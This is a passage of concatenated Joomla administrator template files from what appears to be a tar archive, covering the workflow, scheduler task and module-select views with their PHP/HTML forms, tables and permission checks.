                                            <input type="text" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order hidden">
                                        <?php endif; ?>
                                    </td>
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('jgrid.published', $item->published, $i, 'transitions.', $canChange); ?>
                                    </td>
                                    <th scope="row">
                                        <?php if ($item->checked_out) : ?>
                                            <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'transitions.', $canCheckin); ?>
                                        <?php endif; ?>
                                        <?php if ($canEdit) : ?>
                                            <a href="<?php echo $edit; ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape(Text::_($item->title)); ?>">
                                                <?php echo $this->escape(Text::_($item->title)); ?>
                                            </a>
                                            <div class="small"><?php echo $this->escape(Text::_($item->description)); ?></div>
                                        <?php else : ?>
                                            <?php echo $this->escape(Text::_($item->title)); ?>
                                            <div class="small"><?php echo $this->escape(Text::_($item->description)); ?></div>
                                        <?php endif; ?>
                                    </th>
                                    <td class="nowrap">
                                        <?php if ($item->from_stage_id < 0) : ?>
                                            <?php echo Text::_('JALL'); ?>
                                        <?php else : ?>
                                            <?php echo ' ' . $this->escape(Text::_($item->from_stage)); ?>
                                        <?php endif; ?>
                                    </td>
                                    <td class="nowrap">
                                        <?php echo ' ' . $this->escape(Text::_($item->to_stage)); ?>
                                    </td>
                                    <td class="d-none d-md-table-cell">
                                        <?php echo (int) $item->id; ?>
                                    </td>
                                </tr>
                            <?php endforeach ?>
                        </tbody>
                    </table>
                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>
                <?php endif; ?>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <input type="hidden" name="workflow_id" value="<?php echo (int) $this->workflowID ?>">
                <input type="hidden" name="extension" value="<?php echo $this->escape($this->workflow->extension); ?>">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
transition/edit.php000064400000005755151727445300010420 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_workflow
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$app   = Factory::getApplication();
$user  = $app->getIdentity();

$this->ignore_fieldsets = ['params', 'transition', 'permissions'];
$this->useCoreUI = true;

// In case of modal
$isModal = $this->input->get('layout') === 'modal';
$layout  = $isModal ? 'modal' : 'edit';
$tmpl    = $isModal || $this->input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';

?>

<form action="<?php echo Route::_('index.php?option=com_workflow&view=transition&workflow_id=' . $this->workflowID . '&extension=' . $this->input->getCmd('extension') . '&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="workflow-form" aria-label="<?php echo Text::_('COM_WORKFLOW_TRANSITION_FORM_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">
    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>
    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', Text::_('COM_WORKFLOW_TRANSITION')); ?>
        <div class="row">
            <div class="col-lg-9">
                <?php echo $this->form->renderField('from_stage_id'); ?>
                <?php echo $this->form->renderField('to_stage_id'); ?>
                <?php echo $this->form->renderField('description'); ?>
            </div>
            <div class="col-lg-3">
                <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>

        <?php if ($user->authorise('core.admin', $this->extension)) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'permissions', Text::_('COM_WORKFLOW_RULES_TAB')); ?>
            <fieldset id="fieldset-rules" class="options-form">
                <legend><?php echo Text::_('COM_WORKFLOW_RULES_TAB'); ?></legend>
                <?php echo $this->form->getInput('rules'); ?>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    </div>
    <?php echo $this->form->getInput('workflow_id'); ?>
    <input type="hidden" name="task" value="transition.edit" />
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
workflows/default.php000064400000027063151727445300010756 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_workflow
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @since       4.0.0
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

$saveOrder = $listOrder == 'w.ordering';

$orderingColumn = 'created';
$saveOrderingUrl = '';

if (strpos($listOrder, 'modified') !== false) {
    $orderingColumn = 'modified';
}

if ($saveOrder) {
    $saveOrderingUrl = 'index.php?option=com_workflow&task=workflows.saveOrderAjax&tmpl=component&extension=' . $this->escape($this->extension) . '&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}

$extension = $this->escape($this->state->get('filter.extension'));

$user = Factory::getUser();
$userId = $user->id;
?>
<form action="<?php echo Route::_('index.php?option=com_workflow&view=workflows&extension=' . $extension); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <?php if (!empty($this->sidebar)) : ?>
            <div id="j-sidebar-container" class="col-md-2">
                <?php echo $this->sidebar; ?>
            </div>
        <?php endif; ?>
        <div class="<?php if (!empty($this->sidebar)) {
            echo 'col-md-10';
                    } else {
                        echo 'col-md-12';
                    } ?>">
            <div id="j-main-container" class="j-main-container">
                <?php
                    // Search tools bar
                    echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this, 'options' => ['selectorFieldName' => 'extension']]);
                ?>
                <?php if (empty($this->workflows)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_WORKFLOW_WORKFLOWS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', '', 'w.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                                </th>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'w.published', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_WORKFLOW_NAME', 'w.title', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 text-center d-none d-md-table-cell">
                                    <?php echo Text::_('COM_WORKFLOW_DEFAULT'); ?>
                                </th>
                                <th scope="col" class="w-10 text-center d-none d-md-table-cell">
                                    <?php echo Text::_('COM_WORKFLOW_COUNT_STAGES'); ?>
                                </th>
                                <th scope="col" class="w-10 text-center d-none d-md-table-cell">
                                    <?php echo Text::_('COM_WORKFLOW_COUNT_TRANSITIONS'); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_WORKFLOW_ID', 'w.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody <?php if ($saveOrder) :
                            ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="false"<?php
                               endif; ?>>
                        <?php foreach ($this->workflows as $i => $item) :
                            $states = Route::_('index.php?option=com_workflow&view=stages&workflow_id=' . $item->id . '&extension=' . $extension);
                            $transitions = Route::_('index.php?option=com_workflow&view=transitions&workflow_id=' . $item->id . '&extension=' . $extension);
                            $edit = Route::_('index.php?option=com_workflow&task=workflow.edit&id=' . $item->id . '&extension=' . $extension);

                            $canEdit    = $user->authorise('core.edit', $extension . '.workflow.' . $item->id);
                            $canCheckin = $user->authorise('core.admin', 'com_workflow') || $item->checked_out == $userId || is_null($item->checked_out);
                            $canEditOwn = $user->authorise('core.edit.own', $extension . '.workflow.' . $item->id) && $item->created_by == $userId;
                            $canChange  = $user->authorise('core.edit.state', $extension . '.workflow.' . $item->id) && $canCheckin;
                            ?>
                            <tr class="row<?php echo $i % 2; ?>" data-draggable-group="0">
                                <td class="text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', Text::_($item->title)); ?>
                                </td>
                                <td class="text-center d-none d-md-table-cell">
                                    <?php
                                    $iconClass = '';
                                    if (!$canChange) {
                                        $iconClass = ' inactive';
                                    } elseif (!$saveOrder) {
                                        $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                                    }
                                    ?>
                                    <span class="sortable-handler<?php echo $iconClass ?>">
                                        <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                    </span>
                                    <?php if ($canChange && $saveOrder) : ?>
                                        <input type="text" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order hidden">
                                    <?php endif; ?>
                                </td>
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('jgrid.published', $item->published, $i, 'workflows.', $canChange); ?>
                                </td>
                                <th scope="row">
                                    <?php if ($item->checked_out) : ?>
                                        <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'workflows.', $canCheckin); ?>
                                    <?php endif; ?>
                                    <?php if ($canEdit || $canEditOwn) : ?>
                                        <a href="<?php echo $edit; ?>" title="<?php echo Text::_('JACTION_EDIT', true); ?> <?php echo Text::_($item->title, true); ?>">
                                            <?php echo $this->escape(Text::_($item->title)); ?>
                                        </a>
                                        <div class="small"><?php echo $item->description; ?></div>
                                    <?php else : ?>
                                        <?php echo $this->escape(Text::_($item->title)); ?>
                                        <div class="small"><?php echo $item->description; ?></div>
                                    <?php endif; ?>
                                </th>
                                <td class="text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('jgrid.isdefault', $item->default, $i, 'workflows.', $canChange); ?>
                                </td>
                                <td class="text-center btns d-none d-md-table-cell itemnumber">
                                    <a class="btn <?php echo ($item->count_states > 0) ? 'btn-warning' : 'btn-secondary'; ?>"
                                        href="<?php echo Route::_('index.php?option=com_workflow&view=stages&workflow_id=' . (int) $item->id . '&extension=' . $extension); ?>" aria-describedby="tip-stages<?php echo $i; ?>">
                                        <?php echo $item->count_states; ?>
                                    </a>
                                    <div role="tooltip" id="tip-stages<?php echo $i; ?>">
                                        <?php echo Text::_('COM_WORKFLOW_COUNT_STAGES'); ?>
                                    </div>
                                </td>
                                <td class="text-center btns d-none d-md-table-cell itemnumber">
                                    <a class="btn <?php echo ($item->count_transitions > 0) ? 'btn-info' : 'btn-secondary'; ?>"
                                        href="<?php echo Route::_('index.php?option=com_workflow&view=transitions&workflow_id=' . (int) $item->id . '&extension=' . $extension); ?>" aria-describedby="tip-transitions<?php echo $i; ?>">
                                        <?php echo $item->count_transitions; ?>
                                    </a>
                                    <div role="tooltip" id="tip-transitions<?php echo $i; ?>">
                                        <?php echo Text::_('COM_WORKFLOW_COUNT_TRANSITIONS'); ?>
                                    </div>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->id; ?>
                                </td>
                            </tr>
                        <?php endforeach ?>
                    </table>
                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
workflows/default.xml000064400000001066151727445300010762 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_WORKFLOW_WORKFLOWS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_WORKFLOW_WORKFLOWS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fieldset name="request">
		<fields name="request">
			<field
				name="extension"
				type="ComponentsWorkflow"
				label="COM_WORKFLOW_CHOOSE_CONTEXT_LABEL"
				required="true"
				addfieldprefix="Joomla\Component\Workflow\Administrator\Field"
				>
				<option value="">COM_MENUS_OPTION_SELECT_CONTEXT</option>
			</field>
		</fields>
	</fieldset>
</metadata>
workflow/edit.php000064400000007366151727445300010100 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_workflow
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$app = Factory::getApplication();
$user = $app->getIdentity();
$input = $app->getInput();

// In case of modal
$isModal  = $input->get('layout') === 'modal';
$layout   = $isModal ? 'modal' : 'edit';
$tmpl     = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
$clientId = $this->state->get('item.client_id', 0);
$lang     = $this->getLanguage()->getTag();
?>

<form action="<?php echo Route::_('index.php?option=com_workflow&view=workflow&extension=' . $input->getCmd('extension') . '&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="workflow-form" aria-label="<?php echo Text::_('COM_WORKFLOW_FORM_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <?php // Add the translation of the workflow item title when client is administrator ?>
    <?php if ($clientId === 0 && $this->item->id != 0) : ?>
        <div class="row title-alias form-vertical mb-3">
            <div class="col-md-6">
                <div class="control-group">
                    <div class="control-label">
                        <label for="workflow_title_translation"><?php echo Text::sprintf('COM_WORKFLOW_TITLE_TRANSLATION', $lang); ?></label>
                    </div>
                    <div class="controls">
                        <input id="workflow_title_translation" class="form-control" value="<?php echo Text::_($this->item->title); ?>" readonly="readonly" type="text">
                    </div>
                </div>
            </div>
        </div>
    <?php endif; ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'general', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'description', Text::_('COM_WORKFLOW_DESCRIPTION'));?>
        <div class="row">
            <div class="col-lg-9">
                <div class="form-vertical">
                    <?php echo $this->form->renderField('description'); ?>
                </div>
            </div>
            <div class="col-lg-3">
                <fieldset class="form-vertical">
                    <?php echo $this->form->renderField('published'); ?>
                    <?php echo $this->form->renderField('default'); ?>
                </fieldset>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php if ($user->authorise('core.admin', $this->extension)) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'permissions', Text::_('COM_WORKFLOW_RULES_TAB')); ?>
            <fieldset id="fieldset-rules" class="options-form">
                <legend><?php echo Text::_('COM_WORKFLOW_RULES_TAB'); ?></legend>
                <?php echo $this->form->getInput('rules'); ?>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php endif; ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    </div>
    <?php echo $this->form->getInput('extension'); ?>
    <input type="hidden" name="task" value="workflow.edit" />
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
stage/edit.php000064400000007350151727445300007322 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_workflow
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$app   = Factory::getApplication();
$user  = $app->getIdentity();
$input = $app->getInput();

// In case of modal
$isModal  = $input->get('layout') === 'modal';
$layout   = $isModal ? 'modal' : 'edit';
$tmpl     = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
$clientId = $this->state->get('item.client_id', 0);
$lang     = $this->getLanguage()->getTag();

?>

<form action="<?php echo Route::_('index.php?option=com_workflow&view=stage&workflow_id=' . $input->getCmd('workflow_id') . '&extension=' . $input->getCmd('extension') . '&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="workflow-form" aria-label="<?php echo Text::_('COM_WORKFLOW_STAGE_FORM_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <?php // Add the translation of the workflow item title when client is administrator ?>
    <?php if ($clientId === 0 && $this->item->id != 0) : ?>
        <div class="row title-alias form-vertical mb-3">
            <div class="col-12">
                <div class="control-group">
                    <div class="control-label">
                        <label for="stage_title_translation"><?php echo Text::sprintf('COM_WORKFLOW_TITLE_TRANSLATION', $lang); ?></label>
                    </div>
                    <div class="controls">
                        <input id="stage_title_translation" class="form-control" value="<?php echo Text::_($this->item->title); ?>" readonly="readonly" type="text">
                    </div>
                </div>
            </div>
        </div>
    <?php endif; ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', Text::_('COM_WORKFLOW_DESCRIPTION')); ?>
        <div class="row">
            <div class="col-lg-9">
                <?php echo $this->form->renderField('description'); ?>
            </div>
            <div class="col-lg-3">
                <fieldset class="form-vertical">
                    <?php echo $this->form->renderField('published'); ?>
                    <?php echo $this->form->renderField('default'); ?>
                </fieldset>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php if ($user->authorise('core.admin', $this->extension)) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'permissions', Text::_('COM_WORKFLOW_RULES_TAB')); ?>
            <fieldset id="fieldset-rules" class="options-form">
                <legend><?php echo Text::_('COM_WORKFLOW_RULES_TAB'); ?></legend>
                <?php echo $this->form->getInput('rules'); ?>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

        <?php echo $this->form->getInput('workflow_id'); ?>
        <input type="hidden" name="task" value="stage.edit" />
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
task/edit.php000064400000021245151727602050007155 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_scheduler
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Restrict direct access
defined('_JEXEC') or die;

use Joomla\CMS\Application\AdministratorApplication;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Scheduler\Administrator\Task\TaskOption;
use Joomla\Component\Scheduler\Administrator\View\Task\HtmlView;

/** @var  HtmlView $this */

$wa = $this->document->getWebAssetManager();

$wa->useScript('keepalive');
$wa->useScript('form.validate');
$wa->useStyle('com_scheduler.admin-view-task-css');

/** @var AdministratorApplication $app */
$app = $this->app;

$input = $app->getInput();

// Fieldsets to be ignored by the `joomla.edit.params` template.
$this->ignore_fieldsets = ['aside', 'details', 'exec_hist', 'custom-cron-rules', 'basic', 'advanced', 'priority'];

// Used by the `joomla.edit.params` template to render the right template for UI tabs.
$this->useCoreUI = true;

$advancedFieldsets = $this->form->getFieldsets('params');

// Don't show the params fieldset, they will be loaded later
foreach ($advancedFieldsets as $name => $fieldset) :
    if ($name === 'task_params') :
        unset($advancedFieldsets[$name]);
        continue;
    endif;

    $this->ignore_fieldsets[] = $fieldset->name;
endforeach;

?>

<form action="<?php echo Route::_('index.php?option=com_scheduler&view=task&layout=edit&id=' . (int) $this->item->id); ?>"
      method="post" name="adminForm" id="task-form"
      aria-label="<?php echo Text::_('COM_SCHEDULER_FORM_TITLE_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>"
      class="form-validate">

    <!-- The task title field -->
    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <!-- The main form card -->
    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'general']); ?>

        <!-- The first (and the main) tab in the form -->
        <?php echo
        HTMLHelper::_(
            'uitab.addTab',
            'myTab',
            'general',
            empty($this->item->id) ? Text::_('COM_SCHEDULER_NEW_TASK') : Text::_('COM_SCHEDULER_EDIT_TASK')
        );
        ?>
        <div class="row">
            <div class="col-lg-9">
                <!-- Task type title, description go here -->
                <?php if ($this->item->taskOption) :
                    /** @var TaskOption $taskOption */
                    $taskOption = $this->item->taskOption; ?>
                    <div id="taskOptionInfo">
                        <h2 id="taskOptionTitle">
                            <?php echo $taskOption->title ?>
                        </h2>
                        <?php
                            $this->fieldset    = 'description';
                            $short_description = $taskOption->desc;
                            $long_description  = LayoutHelper::render('joomla.edit.fieldset', $this);

                        if (!$long_description) {
                            $truncated = HTMLHelper::_('string.truncate', $short_description, 550, true, false);

                            if (strlen($truncated) > 500) {
                                $long_description  = $short_description;
                                $short_description = HTMLHelper::_('string.truncate', $truncated, 250);

                                if ($short_description == $long_description) {
                                    $long_description = '';
                                }
                            }
                        }
                        ?>
                        <p><?php echo $short_description; ?></p>
                        <?php if ($long_description) : ?>
                            <p class="readmore">
                                <a href="#" onclick="document.getElementById('myTab').activateTab(document.getElementById('description'));">
                                    <?php echo Text::_('JGLOBAL_SHOW_FULL_DESCRIPTION'); ?>
                                </a>
                            </p>
                        <?php endif; ?>
                    </div>
                    <!-- If TaskOption does not exist -->
                <?php else :
                    $app->enqueueMessage(Text::_('COM_SCHEDULER_WARNING_EXISTING_TASK_TYPE_NOT_FOUND'), 'warning');
                    ?>
                <?php endif; ?>
                <fieldset class="options-form">
                    <legend><?php echo Text::_('COM_SCHEDULER_FIELDSET_BASIC'); ?></legend>
                    <?php echo $this->form->renderFieldset('basic'); ?>
                </fieldset>

                <fieldset class="options-form match-custom"
                          data-showon='[{"field":"jform[execution_rules][rule-type]","values":["cron-expression"],"sign":"=","op":""}]'
                >
                    <legend><?php echo Text::_('COM_SCHEDULER_FIELDSET_CRON_OPTIONS'); ?></legend>
                    <?php echo $this->form->renderFieldset('custom-cron-rules'); ?>
                </fieldset>
                <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>
            </div>

            <div class="col-lg-3">
                <?php echo $this->form->renderFieldset('aside'); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php if (isset($long_description) && $long_description != '') : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'description', Text::_('JGLOBAL_FIELDSET_DESCRIPTION')); ?>
                <div class="card">
                    <div class="card-body">
                        <?php echo $long_description; ?>
                    </div>
                </div>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>
        <!-- Tab for advanced options -->
        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'advanced', Text::_('JGLOBAL_FIELDSET_ADVANCED')) ?>
        <div class="row">
            <div class="col-lg-9">
            <fieldset class="options-form">
                <legend><?php echo Text::_('COM_SCHEDULER_FIELDSET_PRIORITY') ?></legend>
                <?php echo $this->form->renderFieldset('priority') ?>
            </fieldset>
            <?php foreach ($advancedFieldsets as $fieldset) : ?>
                <fieldset class="options-form">
                    <legend><?php echo Text::_($fieldset->label ?: 'COM_SCHEDULER_FIELDSET_' . $fieldset->name) ?></legend>
                    <?php echo $this->form->renderFieldset($fieldset->name) ?>
                </fieldset>
            <?php endforeach; ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab') ?>

        <!-- Tab to show execution history -->
        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'exec_hist', Text::_('COM_SCHEDULER_FIELDSET_EXEC_HIST')); ?>
        <div class="row">
            <div class="col-lg-9">
                <fieldset class="options-form">
                    <legend><?php echo Text::_('COM_SCHEDULER_FIELDSET_EXEC_HIST'); ?></legend>
                    <?php echo $this->form->renderFieldset('exec_hist'); ?>
                </fieldset>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <!-- Tab to show creation details-->
        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', Text::_('JDETAILS')); ?>
        <div class="row">
            <div class="col-lg-9">
                <fieldset class="options-form">
                    <legend><?php echo Text::_('JDETAILS'); ?></legend>
                    <?php echo $this->form->renderFieldset('details'); ?>
                </fieldset>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <!-- Item permissions tab, if user has admin privileges -->
        <?php if ($this->canDo->get('core.admin')) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'permissions', Text::_('JCONFIG_PERMISSIONS_LABEL')); ?>
            <fieldset id="fieldset-permissions" class="options-form">
                <legend><?php echo Text::_('JCONFIG_PERMISSIONS_LABEL'); ?></legend>
                <div>
                    <?php echo $this->form->getInput('rules'); ?>
                </div>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>
        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
        <?php echo $this->form->getInput('context'); ?>
        <input type="hidden" name="task" value="">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
select/default.php000064400000006376151727602050010201 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$app = Factory::getApplication();

$function  = $app->getInput()->getCmd('function');

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_modules.admin-module-search');

if ($function) :
    $wa->useScript('com_modules.admin-select-modal');
endif;

?>

<div class="d-none" id="comModulesSelectSearchContainer">
    <div class="d-flex mt-2">
        <div class="m-auto">
            <label class="visually-hidden" for="comModulesSelectSearch">
                <?php echo Text::_('COM_MODULES_TYPE_CHOOSE'); ?>
            </label>
            <div class="input-group mb-3 me-sm-2">
                <input type="text" value=""
                    class="form-control" id="comModulesSelectSearch"
                    placeholder="<?php echo Text::_('JSEARCH_FILTER'); ?>"
                >
                <div class="input-group-text">
                    <span class="icon-search" aria-hidden="true"></span>
                </div>
            </div>
        </div>
    </div>
</div>

<div id="new-modules-list">
    <div class="new-modules">
        <div class="modules-alert alert alert-info d-none">
            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
            <?php echo Text::_('COM_MODULES_MSG_MANAGE_NO_MODULES'); ?>
        </div>
        <h2 class="pb-3 ms-3" id="comModulesSelectTypeHeader">
            <?php echo Text::_('COM_MODULES_TYPE_CHOOSE'); ?>
        </h2>
        <div class="main-card card-columns p-4" id="comModulesSelectResultsContainer">
            <?php foreach ($this->items as &$item) : ?>
                <?php // Prepare variables for the link. ?>
                <?php $link = 'index.php?option=com_modules&task=module.add&client_id=' . $this->state->get('client_id', 0) . $this->modalLink . '&eid=' . $item->extension_id; ?>
                <?php $name = $this->escape($item->name); ?>
                <?php $desc = HTMLHelper::_('string.truncate', $this->escape(strip_tags($item->desc)), 200); ?>
                <a href="<?php echo Route::_($link); ?>" class="new-module mb-3 comModulesSelectCard"
                    <?php echo !empty($function) ? 'data-function="' . $this->escape($function) . '"' : ''; ?>
